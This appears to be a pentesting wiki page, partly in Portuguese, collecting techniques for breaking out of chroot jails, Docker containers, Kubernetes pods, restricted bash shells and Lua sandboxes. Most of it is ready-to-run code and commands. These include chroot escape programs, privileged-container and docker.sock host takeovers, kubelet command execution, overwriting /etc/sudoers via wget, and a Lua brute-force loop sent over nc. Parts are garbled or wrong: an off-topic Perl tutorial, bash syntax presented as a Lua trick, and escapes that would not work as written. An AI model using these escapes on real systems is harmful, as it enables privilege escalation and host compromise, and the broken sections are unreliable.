```c #include #include #include #include #include int main(int argc, char **argv) { if (argc != 2) { printf("Usage: %s \n", argv[0]); exit(1); } if (chroot(argv[1]) != 0) { perror("chroot"); exit(1); } if (chdir("/") != 0) { perror("chdir"); exit(1); } system("/bin/bash"); return 0; } ``` ```bash gcc break_chroot.c -o break_chroot ./break_chroot /new_chroot ``` ### Root + Mount If you are **root** inside a chroot you **can escape** creating a **mount**. This because **mounts are not affected** by chroot. ```bash mkdir /tmp/new_root mount --bind / /tmp/new_root chroot /tmp/new_root ``` ### User + CWD If you are **not root** inside a chroot you **can escape** creating a **new chroot** with a **new user**. This because **chroot doesn't affect** the **user**. ```bash mkdir /tmp/new_chroot cp /bin/bash /tmp/new_chroot chroot /tmp/new_chroot /bin/bash su new_user ``` ### User + Mount If you are **not root** inside a chroot you **can escape** creating a **mount**. This because **mounts are not affected** by chroot. ```bash mkdir /tmp/new_root mount --bind / /tmp/new_root chroot /tmp/new_root su new_user ``` ## Docker Escapes ### Docker Breakouts From [wikipedia](https://en.wikipedia.org/wiki/Docker_(software)#Security): Docker's default configuration relies on the host kernel for container isolation and security. By default, Docker containers share the host system's filesystem and network interface(s), but can be further restricted with the `--read-only` and `--net=none` flags. Linux capabilities and seccomp filters can be used to control the container's access to the host system. {% hint style="success" %} The **tool** [**Docker Escape**](https://github.com/KrustyHack/docker-escape) was created to automate the following escenarios and scape from `Docker`. {% endhint %} ### Docker Breakout via Build If you can **build a Docker image** you can **escape** from it. ```dockerfile FROM ubuntu:18.04 RUN apt-get update && apt-get install -y wget RUN wget https://raw.githubusercontent.com/KrustyHack/docker-escape/master/docker_escape.c RUN gcc docker_escape.c -o docker_escape CMD ["bash"] ``` ```bash docker build -t escape . docker run -it --privileged escape ./docker_escape ``` ### Docker Breakout via Run If you can **run a Docker container** you can **escape** from it. ```bash docker run -it --rm --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` ### Docker Breakout via Volume If you can **mount a volume** you can **escape** from it. ```bash docker run -it --rm -v /:/mnt alpine chroot /mnt sh ``` ### Docker Breakout via Environment Variables If you can **set environment variables** you can **escape** from it. ```bash docker run -it --rm -e LD_PRELOAD=/tmp/lib.so alpine sh ``` ### Docker Breakout via Docker Socket If you can **access the Docker socket** you can **escape** from it. ```bash docker run -it --rm -v /var/run/docker.sock:/var/run/docker.sock alpine docker -H unix:///var/run/docker.sock run -v /:/mnt -it alpine chroot /mnt sh ``` ## Kubernetes Escapes ### Kubernetes Breakouts From [wikipedia](https://en.wikipedia.org/wiki/Kubernetes#Security): Kubernetes provides various security features to protect the master node(s) and the nodes. The API server component provides authentication and authorization mechanisms, such as client certificates, bearer tokens, and Kubernetes Role-Based Access Control (RBAC). The kubelet component provides node-level authentication and authorization using x509 certificates and a small set of built-in roles. {% hint style="success" %} The **tool** [**Kubeletctl**](https://github.com/cyberark/kubeletctl) was created to automate the following escenarios and scape from `Kubernetes`. {% endhint %} ### Kubernetes Breakout via Pod If you can **create a pod** you can **escape** from it. ```yaml apiVersion: v1 kind: Pod metadata: name: breakout spec: containers: - name: breakout image: alpine command: ["/bin/sh"] args: ["-c", "mount --bind / /mnt; chroot /mnt sh"] securityContext: privileged: true restartPolicy: Never ``` ```bash kubectl apply -f breakout.yaml kubectl exec -it breakout sh ``` ### Kubernetes Breakout via Service Account Token If you can **access a service account token** you can **escape** from it. ```bash TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) curl -H "Authorization: Bearer $TOKEN" https://kubernetes/api/v1/namespaces/default/pods ``` ### Kubernetes Breakout via Kubelet API If you can **access the kubelet API** you can **escape** from it. ```bash curl -k https://kubelet:10250/run/default/breakout -XPOST -d 'cmd=sh&cmd=-c&cmd=mount%20--bind%20/%20/mnt;%20chroot%20/mnt%20sh' ``` ```c #include #include #include //gcc break_chroot.c -o break_chroot int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); } ```
Python Python
```python #!/usr/bin/python import os os.mkdir("chroot-dir") os.chroot("chroot-dir") for i in range(1000): os.chdir("..") os.chroot(".") os.system("/bin/bash") ```
Perl O Perl é uma linguagem de programação interpretada, multiplataforma e de alto nível. É frequentemente usada para automação de tarefas, processamento de texto e desenvolvimento web. O Perl é uma linguagem poderosa e flexível, com muitos módulos disponíveis para facilitar o desenvolvimento de aplicativos. Para executar um comando em Perl, você pode usar a função `system()`. Por exemplo, para executar o comando `ls -la`, você pode usar o seguinte código: ```perl system("ls -la"); ``` Para executar um comando com privilégios elevados, você pode usar a função `sudo`. Por exemplo, para executar o comando `whoami` com privilégios elevados, você pode usar o seguinte código: ```perl system("sudo whoami"); ``` O Perl também tem a capacidade de executar comandos em segundo plano usando a função `fork()`. Por exemplo, para executar o comando `ping` em segundo plano, você pode usar o seguinte código: ```perl if (fork() == 0) { exec("ping 8.8.8.8"); } ``` Este código cria um novo processo filho usando a função `fork()`. O processo filho executa o comando `ping 8.8.8.8` usando a função `exec()`. O processo pai continua a executar o código restante. O Perl também tem a capacidade de executar comandos em um shell interativo usando a função `open()`. Por exemplo, para abrir um shell interativo, você pode usar o seguinte código: ```perl open(SHELL, "|/bin/bash"); ``` Este código abre um shell interativo usando a função `open()`. O shell é executado no modo de pipe, permitindo que você envie comandos para o shell e receba a saída de volta. Você pode enviar comandos para o shell usando a função `print()`. Por exemplo, para executar o comando `ls -la` no shell interativo, você pode usar o seguinte código: ```perl print SHELL "ls -la\n"; ``` Este código envia o comando `ls -la` para o shell interativo usando a função `print()`. A saída do comando é enviada de volta para o script Perl e pode ser lida usando a função `readline()`. Por exemplo, para ler a saída do comando `ls -la`, você pode usar o seguinte código: ```perl while () { print $_; } ``` Este código lê a saída do shell interativo linha por linha usando a função `readline()` e a imprime na tela usando a função `print()`. ```perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { chdir ".." } chroot "."; system("/bin/bash"); ```
### Root + FD salvo {% hint style="warning" %} Este caso é semelhante ao anterior, mas neste caso o **atacante armazena um descritor de arquivo para o diretório atual** e, em seguida, **cria o chroot em uma nova pasta**. Finalmente, como ele tem **acesso** a esse **FD fora** do chroot, ele o acessa e **escapa**. {% endhint %}
C: break_chroot.c ```c #include #include #include //gcc break_chroot.c -o break_chroot int main(void) { mkdir("tmpdir", 0755); dir_fd = open(".", O_RDONLY); if(chroot("tmpdir")){ perror("chroot"); } fchdir(dir_fd); close(dir_fd); for(x = 0; x < 1000; x++) chdir(".."); chroot("."); } ```
### Root + Fork + UDS (Unix Domain Sockets) {% hint style="warning" %} FD pode ser passado por Unix Domain Sockets, então: * Crie um processo filho (fork) * Crie UDS para que o pai e o filho possam se comunicar * Execute chroot no processo filho em uma pasta diferente * No processo pai, crie um FD de uma pasta que está fora do novo chroot do processo filho * Passe para o processo filho esse FD usando o UDS * O processo filho muda para o diretório desse FD e, como está fora do chroot, ele escapará da prisão {% endhint %} ### Root + Mount {% hint style="warning" %} * Montando o dispositivo raiz (/) em um diretório dentro do chroot * Executando chroot nesse diretório Isso é possível no Linux {% endhint %} ### Root + /proc {% hint style="warning" %} * Monte o procfs em um diretório dentro do chroot (se ainda não estiver) * Procure um pid que tenha uma entrada de raiz/cwd diferente, como: /proc/1/root * Chroot nessa entrada {% endhint %} ### Root(?) + Fork {% hint style="warning" %} * Crie um Fork (processo filho) e chroot em uma pasta diferente mais profunda no FS e CD nela * Do processo pai, mova a pasta onde o processo filho está para uma pasta anterior ao chroot dos filhos * Esse processo filho se encontrará fora do chroot {% endhint %} ### ptrace {% hint style="warning" %} * Há algum tempo, os usuários podiam depurar seus próprios processos a partir de um processo próprio ... mas isso não é mais possível por padrão * De qualquer forma, se for possível, você pode ptrace em um processo e executar um shellcode dentro dele ([veja este exemplo](linux-capabilities.md#cap\_sys\_ptrace)). {% endhint %} ## Bash Jails ### Enumeração Obtenha informações sobre a prisão: ```bash echo $SHELL echo $PATH env export pwd ``` ### Modificar PATH Verifique se é possível modificar a variável de ambiente PATH. ```bash echo $PATH #See the path of the executables that you can use PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path echo /home/* #List directory ``` ### Usando o vim ```bash :set shell=/bin/sh :shell ``` ### Criar script Verifique se você pode criar um arquivo executável com _/bin/bash_ como conteúdo. ```bash red /bin/bash > w wx/path #Write /bin/bash in a writable and executable path ``` ### Obter bash a partir do SSH Se você estiver acessando via ssh, pode usar este truque para executar um shell bash: ```bash ssh -t user@ bash # Get directly an interactive shell ssh user@ -t "bash --noprofile -i" ssh user@ -t "() { :; }; sh -i " ``` ### Declaração ```bash declare -n PATH; export PATH=/bin;bash -i BASH_CMDS[shell]=/bin/bash;shell -i ``` ### Wget Você pode sobrescrever, por exemplo, o arquivo sudoers. ```bash wget http://127.0.0.1:8080/sudoers -O /etc/sudoers ``` ### Outros truques [**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\ [https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\ [https://gtfobins.github.io](https://gtfobins.github.io/)\ **Também pode ser interessante a página:** {% content-ref url="../useful-linux-commands/bypass-bash-restrictions.md" %} [bypass-bash-restrictions.md](../useful-linux-commands/bypass-bash-restrictions.md) {% endcontent-ref %} ## Jaulas Python Truques sobre como escapar de jaulas Python na seguinte página: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) {% endcontent-ref %} ## Jaulas Lua Nesta página, você pode encontrar as funções globais às quais você tem acesso dentro do Lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base) **Avaliação com execução de comando:** ```bash load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))() ``` Algumas dicas para **chamar funções de uma biblioteca sem usar pontos**: - Use a função `declare` para criar uma referência para a biblioteca: `declare -a lib=(/lib/x86_64-linux-gnu/libc.so.6)` - Chame a função desejada usando a sintaxe `${lib[nome_da_funcao]}`: `${lib[system]}('ls')` ```bash print(string.char(0x41, 0x42)) print(rawget(string, "char")(0x41, 0x42)) ``` # Enumerar funções de uma biblioteca: Para enumerar as funções de uma biblioteca, podemos usar a ferramenta `nm`. O `nm` lista os símbolos (incluindo as funções) de um arquivo objeto ou de uma biblioteca compartilhada. Para listar as funções de uma biblioteca, execute o seguinte comando: ```bash nm -gC /path/to/library.so ``` Onde `/path/to/library.so` é o caminho para a biblioteca que você deseja listar as funções. O parâmetro `-g` lista apenas os símbolos globais (ou seja, as funções que podem ser acessadas por outros arquivos) e o parâmetro `-C` desmangle os nomes das funções (ou seja, converte os nomes das funções de sua forma codificada para sua forma legível por humanos). O resultado será uma lista de todas as funções na biblioteca, juntamente com seus endereços na memória. ```bash for k,v in pairs(string) do print(k,v) end ``` Observe que toda vez que você executa o comando anterior em um **ambiente lua diferente, a ordem das funções muda**. Portanto, se você precisar executar uma função específica, pode realizar um ataque de força bruta carregando diferentes ambientes lua e chamando a primeira função da biblioteca "le": ```bash #In this scenario you could BF the victim that is generating a new lua environment #for every interaction with the following line and when you are lucky #the char function is going to be executed for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end #This attack from a CTF can be used to try to chain the function execute from "os" library #and "char" from string library, and the use both to execute a command for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done ``` **Obter shell lua interativa**: Se você estiver dentro de uma shell lua limitada, poderá obter uma nova shell lua (e, esperançosamente, ilimitada) chamando: ```bash debug.debug() ``` ## Referências * [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Slides: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
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